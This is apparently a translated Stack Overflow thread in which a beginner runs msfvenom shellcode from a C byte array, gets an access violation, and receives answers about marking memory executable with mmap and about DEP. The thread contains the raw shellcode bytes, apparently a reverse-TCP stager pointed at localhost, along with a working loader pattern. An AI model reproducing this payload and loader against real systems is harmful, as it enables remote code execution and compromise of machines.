Проблема с выполнением шеллкода C

Недавно я заинтересовался Metasploit и пытался выполнить шелл-код из кода C.

Итак, я сгенерировал с помощью msfvenom шелл-код для LHOST = 127.0.0.1 и LPORT = 714 (так что, если вы хотите запустить шелл-код, нет проблем, потому что локальный хост) и выбрал формат C для вывода.

Затем я нашел это: http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/ и это: http://www.sevagas.com/?Hide-meterpreter-shellcode-in-executable

Итак, что я сделал:

#include <stdio.h>

char code[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x7f\x00\x00\x01\x68\x02"
"\x00\x02\xca\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

int main(int argc, char **argv) {
    int(*func) ();
    func = (int(*) ()) code;
    (int)(*func) ();    
}

Скомпилировал, запустил.. И вылетает....

Exception non gérée à 0x00338000 в Shellcode.exe : 0xC0000005 : нарушение доступа к выполнению в месте установки 0x00338000.

Авария происходит здесь: (int)(*func) ();

Поскольку я не очень понимаю, что программа пытается сделать (я новичок в C), я не знаю, в чем проблема. Это мой шеллкод или он так называется?

И есть ли у кого-нибудь документация по выполнению шеллкода на C/C++? Спасибо всем за вашу помощь.


person Survivor    schedule 03.09.2016    source источник
comment
1) Нет языка C/C++, есть только два разных языка C и C++! 2) Очевидно, это C. 3) Вы вызываете поведение undefined. 4) См. Как спросить, это не объясняет код сайта.   -  person too honest for this site    schedule 03.09.2016
comment
Поскольку я не совсем понимаю, что программа пытается сделать (я совсем новичок в C), может стоит сначала изучить язык C?   -  person Serge    schedule 03.09.2016
comment
Значит, вы пытаетесь взломать язык, которого не понимаете?   -  person Weather Vane    schedule 03.09.2016
comment
@Olaf, 1) я знаю, что есть 2 разных языка, и я принимаю ответы на этих двух языках. 2) Да, это так 3) Последняя строка вызывает неопределенное поведение, вот и все? 4) Хорошо, спасибо, я проверю это.   -  person Survivor    schedule 03.09.2016
comment
@Serge У меня есть основы, и обычно, чтобы учиться, я начинаю с фрагмента кода, который не понимаю, и пытаюсь воспроизвести его / улучшить во время обучения. И это то, чего я никогда раньше не пробовал..   -  person Survivor    schedule 03.09.2016
comment
@Weather Vane Что вы подразумеваете под взломом? Я пытаюсь заставить что-то работать, не понимая этого на самом деле, что очень интересно, потому что я открываю для себя новые вещи.   -  person Survivor    schedule 03.09.2016
comment
@Survivor, как ты можешь упоминать Metasploit, но не знаешь, что такое взлом? Я предполагаю, что как только ваш хак будет работать с кодом в исполняемом файле, вашим следующим шагом будет попытка применить указанный код извне, как вход во время выполнения программы.   -  person Weather Vane    schedule 03.09.2016
comment
Хорошо, а что если в этой программе скрыт system("format C:") вызов, который вы не понимаете? (или любой другой эквивалент с точки зрения последствий, действительный для вашей системы)   -  person Serge    schedule 03.09.2016


Ответы (2)


Вы получаете ошибку сегментации, потому что память не помечена как исполняемая.

#include <unistd.h>
#include <sys/mman.h>
#include <string.h>

void *buf;

/* copy code to executable buffer */    
buf = mmap (0,sizeof(code),PROT_READ|PROT_WRITE|PROT_EXEC,
              MAP_PRIVATE|MAP_ANON,-1,0);
memcpy (buf, code, sizeof(code));

/* run code */
int i = ((int (*) (void))buf)();
printf("Return value [%d]\n", i);
person 4pie0    schedule 03.09.2016

Байты представляют машинные инструкции. На обычных машинах память разбивается на разные сегменты памяти, и code обычно находится в сегменте data. Звонок:

int(*func) ();
func = (int(*) ()) code;
(int)(*func) ();

пытается выполнить код, содержащийся в этих байтах.

Однако современные операционные системы обычно по умолчанию обеспечивают защиту от выполнения кода, расположенного в сегментах памяти, не предназначенных для выполнения кода (см. здесь например). Вы должны настроить свой компилятор, чтобы отключить его.

person md5    schedule 03.09.2016
comment
Спасибо за ваш ответ, на самом деле я не могу голосовать. Итак, этот вызов изменяет стек, верно? Я уже отключил некоторые средства безопасности на VS2013 с помощью параметра /GS-, но, похоже, этого недостаточно. Я прочитал вашу статью в Википедии и вернулся - person Survivor; 03.09.2016
comment
1) C не требует стека 2) статические переменные обычно не хранятся в стеке. 3) Это дикое приведение вызывает UB, т.е. оно не определено языком C - person too honest for this site; 03.09.2016
comment
@Olaf: Спасибо за 2), я действительно пропустил продолжительность хранения code. ;) Что касается 1), вы не получите интересного ответа, если будете придерживаться здесь только стандарта C. - person md5; 03.09.2016
comment
1) Как это работает, если нет стека? 2) Я слышал о разных разделах (данные, текст, ...), есть ли связь между этим и стеком и статическими переменными, или это совсем не по теме? - person Survivor; 03.09.2016
comment
РЕДАКТИРОВАТЬ: Просто отключил DEP, и, похоже, он работает. Большое вам спасибо, я буду продолжать изучать эту защиту и C и все, о чем вы говорили в этом обсуждении. - person Survivor; 03.09.2016
comment
@md5: md5: здесь абсолютно нет необходимости упоминать подробности реализации, такие как стек/куча/сегмент данных/что-то еще. На такие вопросы вполне можно ответить, придерживаясь языка. Тот факт, что фактическая реализация просто дает сбой или segfault с соответствующим сообщением, здесь не имеет значения. - person too honest for this site; 03.09.2016
comment
@Olaf: Ну, тогда я жду твоего ответа. Цель шелл-кодов состоит в том, чтобы углубиться в эти детали реализации. Если вы вызовете только неопределенное поведение, конечно, это будет правильно, но это не поможет. - person md5; 03.09.2016
comment
@Survivor: Чтобы адресовать комментарий, используйте @name. Сказал, что: вы должны различать стандартную и конкретную реализацию. На ваш вопрос можно ответить, не вдаваясь в детали реализации. Многое можно найти о создании компиляций и о том, как они работают. Я бы порекомендовал провести исследование самостоятельно, объяснение здесь явно ОТ. - person too honest for this site; 03.09.2016
comment
@md5: такой код никоим образом не предназначен для работы в правильной системе! Наоборот, каждая нормальная ОС пытается блокировать такие эксплойты. И именно эта конструкция вызывает УБ, а не я... - person too honest for this site; 03.09.2016
comment
@Olaf OKAYYY Думаю, я понял, почему это не работает. Скажи мне, если я ошибаюсь. Мой шеллкод хранился в exe-файле в виде строки, а не в разделе, которому принадлежит исполняемый код (.text, верно?). Поскольку есть защита, шелл-код не может быть выполнен или добавлен в список операций (стек?) (я полагаю, я сказал это неправильными словами, но это идея?) - person Survivor; 03.09.2016
comment
@Survivor: В основном это могло произойти. (В качестве альтернативы этот код мог случайно генерировать просто сообщения tat) Но вы упустили суть: ваш код не соответствует коду C, поэтому вызывает UB, поэтому все может случиться. Будьте счастливы, что ваша ОС, по-видимому, поймала этот код и сообщила об этом соответствующим образом. Но это не то, на что вы должны полагаться. - person too honest for this site; 03.09.2016
comment
Почему кто-то проголосовал за ответ? Это помогло мне и исправить мою проблему (так что это решение) - person Survivor; 03.09.2016
comment
@Olaf: я не понимаю твоей точки зрения. Такой код не переносим, ​​это машинные инструкции! Он предназначен для работы только с очень специфическими реализациями. Конечно, это не производственный код! Ваше объяснение с UB правильное, но я считаю, что оно не полностью отвечает на вопрос OP. Языковые юристы иногда достигают своего предела... - person md5; 03.09.2016
comment
@Olaf: соответствует Google-переводу Я полагаю, что недостаточно опытен (упущено хорошее слово) в C, чтобы понять, как сделать код, совместимый с C, но будем надеяться, что он будет работать, пока я не пойму ^ ^. Может ли поведение измениться от одного выполнения к другому с помощью UB? - person Survivor; 03.09.2016
comment
@Survivor, если бы поведение было исправлено от одного выполнения к другому, тогда оно было бы определено, а это не так, поэтому ДА. Пожалуйста, см. это. - person Weather Vane; 03.09.2016
comment
@Weather Vane Спасибо за ваш ответ и ссылку. - person Survivor; 03.09.2016
comment
@WeatherVane Я понимаю содержание того, что вы отправили. В их случае это UB, потому что они создают указатель (без инициализации) и пытаются изменить указанное значение; но это может быть что угодно, потому что мы не знаем, на что указывает указатель, поэтому это, вероятно, приведет к сбою программы. Это правильно ? Проблема в моем коде в том, что я не понимаю такой синтаксис, как int(*func) (); поэтому я точно не знаю, что может вызвать UB. Но не волнуйтесь, я на самом деле гуглю, чтобы узнать, что означает этот синтаксис :) Речь идет об указателе функции (поэтому мой 1-й поиск говорит) - person Survivor; 03.09.2016
comment
Из того, что я только что обнаружил: int(*func) (); создайте указатель функции с именем func без аргументов. - person Survivor; 03.09.2016
comment
И func = (int(*) ()) code; хорошо.... Я полагаю, это: stackoverflow .com/questions/21951381/ мне поможет - person Survivor; 03.09.2016
comment
@Survivor: Как насчет того, чтобы сначала научиться ходить, прежде чем пытаться бегать? Сначала напишите правильный код, прежде чем начинать исследовать, какие предпосылки имеют конкретное неопределенное поведение? Взять какой-нибудь подозрительный код из Интернета и попытаться понять его — очень плохой подход, особенно к изучению C. - person too honest for this site; 03.09.2016
comment
@Olaf: Спасибо за ваш ответ. Что вы подразумеваете под правильным кодом? Какой подход вы мне рекомендуете? - person Survivor; 03.09.2016